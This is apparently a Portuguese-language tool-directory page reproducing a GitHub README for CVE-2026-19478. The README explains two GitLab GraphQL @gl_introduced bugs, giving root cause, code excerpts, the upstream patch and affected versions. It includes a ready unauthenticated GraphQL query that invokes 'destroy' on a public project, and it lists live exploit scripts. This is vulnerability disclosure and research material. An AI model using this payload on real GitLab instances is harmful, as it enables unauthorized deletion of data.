Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-19478 — Fornece exploits de PoC e análise de causa-raiz para duas vulnerabilidades da diretiva `@gl_introduced` do GitLab GraphQL: execução de método não autenticada e troca de documento em lote, com patch upstream e evidências ao vivo. | Kitploit
Ferramentas/GitHubGitHub/n0xdaemon/cve-2026-19478
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsSegurança Web
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Fornece exploits de PoC e análise de causa-raiz para duas vulnerabilidades da diretiva `@gl_introduced` do GitLab GraphQL: execução de método não autenticada e troca de documento em lote, com patch upstream e evidências ao vivo.

Ver Repositório
24há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-19478 — Vulnerabilidades do filtro de versão @gl_introduced do GitLab GraphQL

Um laboratório de reprodução para dois bugs relacionados no recurso de filtro de versão do GraphQL do GitLab (a diretiva @gl_introduced). Ambos vivem na mesma área do recurso, são corrigidos pelo mesmo patch upstream e ambos permitem que uma requisição GraphQL alcance caminhos de código que ela nunca declarou:

  • Execução de método por campo fallback — uma única consulta não autenticada e não agrupada pode invocar um método arbitrário de zero argumentos (por exemplo, destroy) no modelo por trás de qualquer tipo GraphQL, apenas nomeando um campo que não existe e marcando-o com @gl_introduced.
  • Troca de documento entre operações — em uma requisição agrupada (multiplex), o documento de consulta analisado de uma operação pode ser trocado pelo de outra, de modo que um slot que declarou uma leitura inofensiva acabe executando a mutação de um slot diferente.
Afetado18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Corrigido18.11.11, 19.0.8, 19.1.6, 19.2.4
Alvo do laboratóriogitlab/gitlab-ce:19.2.2-ce.0 (última build anterior à correção)
Gatilhodiretiva @gl_introduced do GraphQL, sozinha ou dentro de um lote

Estrutura do repositório

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Tudo sob src/ é código-fonte upstream verbatim, nunca reimplementado — o loader sobrepõe src/vuln ou src/patched sobre src/common.


1. Causa raiz

1a. Campo fallback → resolução de método padrão do graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback permite que uma consulta faça referência a um campo que ainda não existe em um tipo sem que a requisição falhe — pensado para implantações contínuas (rolling deploys), onde o schema de um nó antigo ainda não tem um campo que um nó mais novo já entrega. Sua sobrescrita de get_field verifica se o campo solicitado está ausente e se a requisição está sinalizada com contain_future_fields; se estiver, devolve um campo sintético em vez de lançar erro:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

O problema: este GraphQL::Schema::Field é construído sem método resolver, sem classe resolver e sem bloco. Então a resolução de campo padrão do próprio graphql-ruby é aplicada (gem graphql 2.6.3, lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym é o nome do campo, em snake_case — ou seja, exatamente a string que o atacante colocou na consulta. Se o objeto por trás do tipo GraphQL (o modelo ActiveRecord) tiver um método público real, de zero argumentos, com esse nome, o graphql-ruby o chama e retorna seu resultado (coagido ao tipo). fallback_value: nil só se aplica quando o método realmente não existe — e não faz nada para impedir que um método real seja executado.

Então: basta consultar qualquer tipo por um campo com o nome de um método destrutivo real — por exemplo, destroy —, marcá-lo com @gl_introduced para que sobreviva até a execução, e o método será executado.

1b. Troca de documento entre operações

IntroducedTracer implementa o restante do recurso de filtro de versão em dois hooks de trace do graphql-ruby — parse (uma vez por operação) e execute_query (uma vez por operação). Na build vulnerável, ele guarda seu estado por operação em variáveis de instância simples no objeto de trace:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

O problema: o graphql-ruby compartilha UMA única instância de trace entre todas as operações de uma requisição multiplexada e analisa todas elas antes de executar qualquer uma. Então, em um lote de duas operações:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 carrega um campo futuro @gl_introduced)

Após a análise, apenas o estado da última operação sobrevive. Então a execução roda:

  1. execute_query(op1) → a flag é true, então o documento de op1 é sobrescrito com op2_doc e re-preparado → o slot de op1 executa a operação de op2.

op1 declarou uma leitura; ela executa a escrita de op2.

A correção

patch-19.2.2-to-19.2.4.diff corrige ambos:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Fluxo do exploit

2a. Campo fallback — requisição única, sem autenticação, sem lote

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Nenhum cabeçalho Authorization. Uma operação, sem lote. destroy não é um campo real em Project — ele não existe no schema — mas a diretiva faz o FutureFieldFilter removê-lo antes da validação estática e arma contain_future_fields para a execução, onde get_field devolve um campo sem resolver chamado destroy e o graphql-ruby chama project.public_send(:destroy).

Baixar ferramenta